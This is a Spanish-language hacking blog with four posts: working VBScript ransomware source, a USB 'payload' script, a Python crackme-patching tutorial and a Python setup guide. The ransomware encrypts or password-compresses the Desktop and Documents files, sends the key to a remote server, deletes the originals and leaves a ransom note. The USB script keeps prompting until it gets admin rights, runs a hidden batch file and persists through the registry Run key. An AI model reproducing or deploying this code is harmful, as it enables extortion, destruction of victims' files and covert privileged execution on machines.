lunes, 28 de noviembre de 2016

Codigo De Un Ransomware En VBScript

Esta ves solo vengo con el código fuente de un ransomware hecho por mi en vbscript, elegí  VBScript ya que para mi es mas fácil de usar y su difícil detección por los antivirus.

Y como los script no pueden leer binarios así que este código para que funcione en la PC victima tiene que tener instalado el winrar ya que hace uso de el para poder comprimir los archivos.

Lo que hace es sencillo es tomar los archivos de el escritorio y de mis documentos y comprimir los con una clave aleatoria muy larga y difícil de descifrar, esta clave es enviada a el servidor de el hacker y después de eso los archivos son eliminados quedando solo los rar que creo nuestro ransomware.

Yo lo probé en mi pc por eso en la linea donde tiene que ir el nombre del servidor dice http://localhost

aquí el código


option explicit
dim shell,system,document,x,password,nombre,winrar,ObjHttp,desktop,datos,procesos,p,l,f

randomize

set shell = createobject("wscript.shell")
Set objhttp = createobject("Microsoft.XmlHttp")
set system = createobject("scripting.filesystemobject")
Set procesos =GetObject("winmgmts:")

winrar = shell.ExpandEnvironmentStrings("%PROGRAMFILES%") & "\winrar\rar.exe"
document = shell.SpecialFolders("MyDocuments")
desktop = shell.SpecialFolders("Desktop")

if system.fileexists(winrar) then
   for x = 1 to 1024
      password = password & hex(int((255-16+1)*rnd + 16))
   next
      
   for x = 1 to 100 
      nombre = nombre & hex(int((255-16+1)*rnd + 16))
   next
   
   datos = "nombre=" & nombre & "&password=" & Lcase(password)
   objhttp.open "POST","http://localhost/ransomware/",false
   objhttp.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
   objhttp.send datos
      
   if objhttp.responsetext="Los Datos Se Recivieron Correctamente En El Servidor..." then
   
   shell.run "cmd /c cd %PROGRAMFILES%&winrar\rar.exe a -ep2 " & desktop & "\MisDocumentos.rar  " & chr(34) & document & chr(34) & "  -hp" & password & " -r",1
   shell.run "cmd /c cd %PROGRAMFILES%&winrar\rar.exe a -ep2 " & desktop & "\MiEscritorio.rar  " & chr(34) & desktop & chr(34) & "  -hp" & password &" -r",1 

   do while x<>0
      x=0
   wscript.sleep 2000
         set l = procesos.instancesof("win32_process")
         For Each p In l
            if p.name = "Rar.exe" then
               x=x+1       
            end if    
         next
  loop
  
  'borrar(desktop)
  'borrar(document)
     
  set f = system.createtextfile(desktop & "\Recover_My_Files.html")
     f.writeline("<html>")   
  f.writeline("<head>")   
  f.writeline("<title>Practicas De Un Ransomware   ...:::: By Flamer::::...</title>")   
  f.writeline("</head>")   
  f.writeline("<body>")   
  f.writeline("<center>")   
  f.writeline("<h1>ATENCION</h1>")   
  f.writeline("<h4>TUS ARCHIVOS HAN SIDO COMPRIMIDOS CON CONTRASEÑA, PARA RECUPERARLOS INGRESA A ESTA PAGINA E INGRESA EL SIGUIENTE CODIGO:</h4><br><br><br>")   
  f.writeline(nombre)   
  f.writeline("<br><br><br><br><br>")   
  f.writeline("<a href='http://localhost/ransomware/recover.php'>Recuperar Mis Archivos</a> ")   
  f.writeline("</center>")   
  f.writeline("</body>")   
  f.writeline("</html>")   
  
  
  
   else 
     msgbox "Huvo Un Error Al Enviar Los Datos",,"Aviso De Error" 
   end if
   
else
   msgbox "La Aplicacion Winrar No Esta Instalada En Este Equipo, Por Lo Tanto El Ransomware No Se Ejecutara En Este Ordenador...",,"Aviso De Error"
end if
msgbox "Programa Finalizado"

function borrar(ruta)
   dim carpeta,listfiles,listfolders,f
   
   set carpeta = system.getfolder(ruta)
   set listfolders = carpeta.subfolders
   set listfiles = carpeta.files
   
   for each f in listfiles
      f.delete
   next 

   for each f in listfolders
      f.delete
   next   
end function



------------------------------------------------------Actualización---------------------------------------------------

Esta ya no hace uso del winrar, ahora en-cripta los archivos de forma binaria


option explicit
dim shell,fso,document,f,password,desktop,id

set shell = createobject("wscript.shell")
set fso = createobject("scripting.filesystemobject")

document = shell.SpecialFolders("MyDocuments")
desktop = shell.SpecialFolders("Desktop")

set f = fso.getfolder(document)
id = f.drive.serialnumber 

password = Contrasena(id)

Encriptar(document)
Encriptar(desktop)

msgbox "Para Recuperar Tus Archivos Ingresa a La Direccion:" & vbcrlf & vbcrlf & "http://practicashacking.net23.net/ransomware/Recover.php" & vbcrlf & vbcrlf & "Tu ID Es: " & id,,"Programa Finalizado" 

function Contrasena(id)
  dim objhttp
  Set objhttp = createobject("Microsoft.XmlHttp")
  
  objhttp.open "POST","http://practicashacking.net23.net/ransomware/index.php",false
  objhttp.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
  objhttp.send "id=" & id

  Contrasena = objhttp.responsetext
end function

function Encriptar(ruta)
   dim carpeta,listfiles,listfolders,f
   
   set carpeta = fso.getfolder(ruta)
   set listfolders = carpeta.subfolders
   set listfiles = carpeta.files
   
   for each f in listfiles
      archivo(f.path)
   next 

   for each f in listfolders
      Encriptar(f.path)
   next   
end function

function archivo(path)
   dim file,largo,i,f,b,p,n
   
   set file = fso.getfile(path)

   largo=file.size 

   set f = file.OpenAsTextStream()
   redim bytes(largo)
   
   n = 1 
   
   for i=0 to largo - 1
      if n = len(password) then 
      n = 1
   else
         n = n + 1   
      end if   
   p = asc(mid(password,n,1))
      b = asc(f.read(1)) xor p
   bytes(i) = chr(b)
   next 
 
   f.close  
   
   set f = fso.createtextfile(file.path & ".crypt") 
 
   for n = 0 to i - 1
      f.write(bytes(n))
   next
 
   f.close 
   file.delete
end function



bueno saludos Flamer


sábado, 26 de noviembre de 2016

Como Crear Un Payload USB

En este breve tema les mostrare un código hecho por mi en VBScript (un Payload) que ejecuta un bat almacenado en una usb.
Primero busque en google que era un payload y encontré que en la pagina de wikipedia nos dice lo siguiente:

En seguridad computacional, el payload se refiere a la parte del malware que realiza la acción maliciosa.
En el análisis de software malicioso como gusanos, virus o Troyanos, se refiere a los resultados del ataque del software.

La parte maliciosa que aremos sera cargar x programa que se encuentra en nuestra USB con permisos de administrador cada ves que sea insertada en nuestra PC.

Para eso nuestro payload deberá ejecutarse en nuestra PC cada ves que encienda y con permisos de administrador.

Para poder conseguir permisos de administrador tuve que recurrir a un tema anterior aquí el link si quieren he charle un vistazo:

http://elblogdeflamer.blogspot.mx/2016/05/conseguir-permisos-de-administrador-por.html


Bueno aquí les dejo el código con una breve explicación de cada linea y separe un poco las lineas para que no se mirara todo junto:


option explicit
on error resume next  
' aqui le desimos que si hay un error que siga la ejecucion'

dim shell,system,usb,disco,bat,vf 
' declaramos variables'

set shell = createobject("wscript.shell") 
' creamos el objecto shell'

set system = createobject("scripting.filesystemobject")  
' creamos el objecto system'


bat="sus\polo.bat"  
'AQUI PONES LA RUTA DE EL BAT EN LA USB'


if not(system.fileexists("wxs.exe")) then
' preguntamos si existe wxs.exe '
  
   system.copyfile wscript.fullname,"wxs.exe"  
   ' copiamos el wscript adonde se encuentra nuestro vbs con el nombre wxs'
end if 


comprovar  ' funcion insistente que nos dara permisos de administrador'

while true  
' ciclo while infinito'

   set usb = system.drives  
   ' obtenemos la lista de drives conectados  ' 
   
   for each disco in usb  
   ' recoremos la lista de drives con un ciclo for   '
   
      if disco.drivetype=1 then    
  ' preguntamos si el drives es una USB '
   
         if disco.SerialNumber = "273197608" then 
  'aqui preguntamos si es nuestro usb (CAMBIAS ESTO POR TU ID DE USB)'
   
            if system.fileexists(disco.RootFolder & bat) then 
 ' preguntamos si existe el archivo bat'
   
  shell.run "cmd.exe /c " & disco.RootFolder & bat ,0 
        'ejecutamos el bat en modo oculto ' 
      
  while system.driveexists(disco.RootFolder) and err = 0  
    ' ciclo while que pregunta si no sea desconectado nuestra usb'
      
     wscript.sleep 1000 
    'pausa de 1 segundo'
      
   wend 
               err.number=0 
    ' reiniciamos los errores a 0'
      
            end if   
         end if 
      end if
   next
wend

function comprovar
   dim process,list,s,service,objShell 
   'declaramos las variables de la funcion'
   
   Set process =GetObject("winmgmts:") 
   ' creamos un objecto winmgmts'
   
   Set list= process.instancesof("win32_process") 
   ' obtenemos la lista de procesos'
   
   
   s=0 
   ' inicializamos a  0'
   
   
   For Each service In list  
   'ciclo for donde recorremos la lista de procesos en busca de nuestra copia de wscript '
   
   
      if service.name="wxs.exe" then 
  ' pregunta si se esta ejecutando wxs.exe'
   
   
         s=s+1   
   ' si entra al if quiere desir que se esta ejecutando wxs.exe entonses a la variable s se le aumenta 1'
   
   
      end if
   next
   
   if s=0 then 
 ' pregunta si s vale 0 quiere desir que no se esta ejecutando wxs'
   
   
      Set objShell = CreateObject("Shell.Application") 
  'crea un objeto application'
   
   
      objShell.ShellExecute "wxs.exe ", Chr(34) & WScript.ScriptFullName & Chr(34) & " RunAsAdministrator", "", "runas", 0  
  ' se autoejecuta este script con permisos de administrador'
   
   
      comprovar 
  ' y buelve a yamarse el metodo comprovar hasta que el usuario conseda los permisos de administrador'
   end if
end function




ya que tengan copiado el código, lo pegan en bloc de notas y lo aguardan con la extencion ".vbs" yo lo nombre "Payload.vbs"

ahora si quieren saber su numero id de usb aquí les dejo este otro programa


option explicit

dim system,usb,unidad

set system = createobject("scripting.filesystemobject")
unidad=inputbox("Ingresa La Letra De La Unidad" & vbcrlf & vbcrlf & "Ejemplo1--- E  Ejemplo2--- E:    Ejemplo3--- E:\")

if unidad <> "" then
   if system.driveexists(unidad) then
      set usb = system.getdrive(unidad)
      msgbox "Unidad Expecificada: " & usb.rootfolder & vbcrlf & vbcrlf & "Con Nombre: " & usb.volumename & vbcrlf & vbcrlf & "Su Numero Serie Es: " & usb.SerialNumber
   else
      msgbox "Unidad Ingresada No Existente",,"Aviso De Error"
   end if    
else
   msgbox "No Se Ingreso Ninguna Unidad",,"Aviso De Error"
end if



Igual que el anterior lo copian y lo pegan con la extencion ".vbs" y al ejecutar este ultimo programa nos preguntara lo siguiente:




en este cuadro de texto tendrán que ingresar la letra de unidad, tienen 3 diferentes modos de hacerlo

La pura letra de la unidad
1)  E

La letra de la unidad acompañada de los dos puntos
2)  E:

Y por ultimo pueden ingresar la letra de la unidad junto con los 2 puntos seguido de la barra inversa
3)  E:\


los 3  modos funcionan y como respuesta nos manda lo siguiente





Ahora si quieren que su payload se inicie cuando encienda la computadora tendrán que añadirlo al registro.

Abrimos el regedit y nos iremos hasta la sub-clave

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

y agregamos una nueva cadena dando clic derecho y aparecerá lo siguiente




Ustedes pueden ponerle el nombre que ustedes quieran yo le pondre "payload" y para ponerle el valor damos doble clic sobre el y ponemos la ruta del payload así:




por ultimo presionamos aceptar y cuando se inicie nuestra pc nuestro payload se ejecutara y empezara a buscar nuestra usb para ejecutar el bat que se encuentra en el

bueno saludos flamer y creo que eso es todo



martes, 22 de noviembre de 2016

Trabajar Con Archivos Binarios en Python 3

En este tutorial explicare como manejar archivos binarios en python 3, aclaro soy nuevo en python así que les enseñare un poco de lo que se.

Primera mente si no lo tienen instalado python pueden ver mi publicación anterior donde enseño no solo a descargarlo sino a configurarlo con el notepad++:

http://elblogdeflamer.blogspot.mx/2016/11/instalando-python-3-y-configurarlo-con.html

Primero daré una explicación breve de algunos comando que usare para manejar archivos.

Open este comando se utiliza para abrir un archivo, ya sea para escribir en el o para leer el contenido de este.
El camando open lleva 2 parámetros, la ruta del archivo a abrir(no creo que tenga que explicar mucho en este) y el modo de apertura ejemplo:

file = open("ruta","modo_de_apertura")


Los diferentes modos de apertura son estos:

ModosDescripción
rAbre un archivo de sólo lectura.
El puntero del archivo se coloca en el principio  del archivo.
Este es el modo predeterminado.
rbAbre un archivo de sólo lectura en formato binario.
r+Abre un archivo para lectura y escritura.
El puntero del archivo estará en el principio del archivo.
rb+Abre un archivo para la lectura y la escritura en formato binario.
 El puntero del archivo estará en el principio del archivo.
wAbre un archivo para escribir solamente.
Sobrescribe el archivo si el archivo existe.
Si el archivo no existe, se crea un nuevo archivo para escritura.
wbAbre un archivo para escribir sólo en formato binario.
Sobrescribe el archivo si el archivo existe.
Si el archivo no existe, se crea un nuevo archivo para escritura.
w+Abre un fichero para escritura y lectura.
Sobrescribe el archivo existente si existe el archivo.
Si el archivo no existe, se crea un nuevo archivo para la lectura y la escritura.
wb+Abre un archivo, tanto para la escritura y la lectura en formato binario.
Sobrescribe el archivo existente si existe el archivo.
Si el archivo no existe, se crea un nuevo archivo para la lectura y la escritura.

Read este comando se utiliza para leer el contenido del archivo abierto en modo lectura

Write se utiliza para escribir dentro del archivo abierto en modo escritura


Para este tutorial usare mi crackme 7 que lo pueden descargar de mi lista de crackmes aquí:
http://elblogdeflamer.blogspot.mx/p/mis-cackmes.html


como verán en la siguiente imagen, en mi crackme7 se necesita parchar el botón




Así que crearemos un programa en python que active el botón.

Nota: No mostrare el proceso en el ollydbg para activar el botón para no hacer el tema mas largo, solo les mostrare las posiciones de memoria que hay que modificar con el programa

Para obtener la posición de memoria compare el archivo original con el archivo crackeado con un editor hexadecimal como se muestra en la imagen



Nota: el editor que use lo pueden descargar desde aquí:
https://mh-nexus.de/en/hxd/


Y como ven en la imagen solo tenemos que cambiar el "53" por el "56", así que abriremos el notepad++ y tecleamos el siguiente código


import binascii   # importamos el modulo binascii

archivo = open('C:/Users/Flamer/Desktop/crackme7.exe','rb') # abrimos el archivo crackme7.exe
byte = archivo.read()  # Leemos todos los bytes del archivo
archivo.close  # Cerramos el archivo

w = binascii.unhexlify('56') # Convertimos el valor 56 que es string a binario con el comando unhexlify

code = byte[0:9142] + w + byte[9143:len(byte)]  # insetartamos el byte anterior(el 56 convertido a byte) en la variable code

file = open('C:/Users/Flamer/Desktop/crackme7.exe','wb')  # abrimos el archivo crackme7.exe
file.write(code) # Escribimos los bytes anteriores
file.close  # Cerramos el archivo

print ("terminamos")  # Mensaje de terminamos


OJO: Ustedes cambian la ruta del archivo

Ya que tenemos el código lo aguardan con el formato ".py", yo lo nombre "activa_boton.py" y al ejecutarlo les parchara el archivo crackme7.exe activando el boton.


Ahora les mostrare otro código donde leeremos todos los bytes del archivo crackme7.exe y obtendremos su valor ascii para después separarlos con dos guiones.


import binascii # importamos el modulo binascii

archivo = open('C:/Users/Flamer/Desktop/crackme7.exe','rb') #abrimos el archivo crackme7

byte = archivo.read() #leemos todos los bytes
code = binascii.hexlify(byte) # transformamos los bytes a valores hexadecimal en formato string

c = "" # inicializamos la variable c
largo = len(code) # obtenemos la longitud de la varible code

for x in range(0,largo,2): # ciclo for donde la variable x inicia en 0 e incrementara de 2 en 2 y termina en el valor que contenga la variable largo
    c = c + (str(int(code[x:x+2],16))) + "--" # obtiene el valor ascii de cada bit y lo concatena en la variable c, junto con los guiones
archivo = open('C:/Users/Flamer/Desktop/coder.txt','w') # crea el archivo coder.txt
archivo.write(c) # escribe el contenido de la variable c en el archivo coder.txt
archivo.close # cierra el archivo 
print ("terminamos") # mensaje de fin


Ahora después pasamos a aguardar el código, yo lo aguarde con el nombre de "Leer_code.py" y al ejecutarlo me crea el archivo "coder.txt" con el siguiente contenido




bueno saludos Flamer y eso es todo


sábado, 19 de noviembre de 2016

Instalando Python 3 y Configurarlo con Notepad++

Hoy les enseñare como descargar python 3 para windows e instalarlo manualmente en nuestro sistema.

bueno para empezar primero lo descargaremos desde su pagina oficial desde aquí.

https://www.python.org/downloads/windows/




como verán hay dos versiones de python la 2 y 3, nosotros elegiremos la 3

y descargamos la ultima versión de python 3, pero sera la versión zip por comodidad la cual es esta



ya que hemos descargado el archivo zip, lo descomprimimos y pegamos el contenido en la unidad c:\
así como en la imagen




ahora debemos tener el notepad++ si no lo tienen pueden bajarlo desde aquí:

https://notepad-plus-plus.org/

NOTA: No voy a explicar como instalarlo.


después de esto abriremos el notepad++ y teclearemos el siguiente código:

print ("Hola mundo")


después lo aguardamos con el formato .py así:




para ejecutarlo daremos clic en la pestaña ejecutar y luego en iniciar:




y nos aparecerá el siguiente cuadro



aquí daremos clic al botón señalado en la imagen y buscaremos la ruta de la carpeta de python y elegiremos el archivo python.exe así:



damos clic en abrir y a la ruta del archivo le agregaremos la siguiente linea


-i "$(FULL_CURRENT_PATH)"


quedando así


C:\python-3.6.0\python.exe -i "$(FULL_CURRENT_PATH)"


después daremos clic en guardar así



 aquí ustedes configuran las teclas según su gusto y por ultimo dan clic en OK

y se mostrara así



y si ejecutamos el programa nos muestra el "Hola mundo"










bueno creo que eso es todo espero que a alguien le sirva saludos Flamer